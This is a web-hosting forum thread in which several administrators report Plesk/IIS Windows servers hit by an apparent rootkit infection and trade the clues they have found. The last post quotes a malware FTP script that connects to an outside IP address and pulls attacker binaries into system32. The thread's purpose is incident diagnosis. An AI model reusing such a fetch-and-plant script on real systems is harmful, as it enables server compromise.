plesk login page problem

[vwxyz]

Hello,

I can't open my client's plesk login page https://mydomain.com:8443
I am asked for password which is a popup! I don't know what username and password I should use for this. and when I clicked cancel an error is displayed, You are not authorized to view this page!

Would you please help me on this!?
Thanks in advance.

 

[TarkanVeKurdu]

I have the same problem but all my sites are behaving like that . I am in big trouble now. Any solutions ?

 

[djape]

same thing here
as of arround 10am we can't access any site on our plesk. Error code is 401.1

We are in BIG trouble!!!

There is some kind of IIS problem.
I have googled for resolution, but nothing helps.

Thx

 

[vwxyz]

YES! All my websites on those VPS accounts are infected too!
FTP passwords are rejected too!

Help please!

 

[TarkanVeKurdu]

Yes my plesk boxes are vps too. Plesk 7.5.6 and plesk 7.6.1 is running on the servers.I am still getting the errors any help ?

Regards,

 

[supra2800@]

Same thing with my server
All the websites asks for login.

I contacted my webhost support 6-7 hours ago, and they contacted swsoft for a solution, but nothing yet.

This is horrible!

MailEnable still works though, also MySQL databases, luckily.

 

[TarkanVeKurdu]

Anyone who gets the solution from swsoft please post here

 

[supra2800@]

Originally posted by TarkanVeKurdu
Anyone who gets the solution from swsoft please post here

Yes please!

I've set up my mobile to check for email every 5 minutes, in case theres news from my webhost (lunarpages.com).

I tried to logon with remote desktop to my server, and found out I was unable to access windows firewall, because "windows firewall/ICS (internet connection sharing) service" was disabled. I wonder why that is?

 

[djape]

Jesus

If swsoft guys don't come up with solution soon, I'm dead man

Not a single site is working, pop-up asking for login and password and not accepting any (401.1), there is a IIS issue and application pool problems also. All of this started suddenly without any warning! Version is 7.6
To be honest, I don't understand why this happened and I don't think that there will be painless solution for our situation.

Regards

 

[psni]

We found rootkit virus. MailEnable was highly active. Disabled all email services in Services to aovid spam relay etc. Still trying to remove.

 

[vwxyz]

Hi psni!
Thanks for your advice.

-How did you detect the virus?

-How are you trying to remove it?

Thanks,
Regards

 

[prasad]

Is it really causing due to virus? I did a scan too and removed some viruses but still not working..

 

[TarkanVeKurdu]

C:\WINDOWS\system32\rdriv.sys

Do you have this file and created today ? This one seems to be rootkit driver.

 

[psni]

Found several new files created today in system32 dir. One batch file with a name like start.bat or something sim. Killed it, rebooted then was able to delete a.exe in same dir that was related. Still trying different tools to remove this. It supposedly changes security on the server thus the login issue. More to come ...

 

[vwxyz]

You are trying to remove it manually or using an AntiVirus?

 

[psni]

Tried F-Prot to remove without success. Also Live Care. At this time I am checking all resources and tips to manually stop this and fix the security.

Anyone else have something that works?

 

[TarkanVeKurdu]

This might not be true I am not sure but the problem is not with the ntfs permissions. It seems like the problem is with local sam database or the metabase. But havent find a solution to repair it still checking for it.

It seems to be a long long night is waiting for us

Regards,

 

[TarkanVeKurdu]

Also try to create a website on iis. Domain id look like a huge number like 3422343232 . Something is wrong with metabase.

 

[supra2800@]

Is somebody able to contact swsoft to verify that they are actually working on this?


... a damn shame that im away on familiy birthday today, had to bring my laptop to follow progress in this thread. but in a few hours i'll be back home, browsing trough every f*cking page on google, to find a solution. but i have very little experience with win2003 and specially plesk


This is soooo bad, I wonder how it could have happend in the first place ?!?

 

[madguy24]

C:\WINDOWS\system32\script1.txt having contents.

open 80.34.174.156 21
user anonymous
[email protected]
lcd c:\windows\system32
get explorer.exe
get runservice_bis.dll
get kill.exe
get fport.exe
get hyberport.exe
get JASFV.INI
bye

So what's next :-(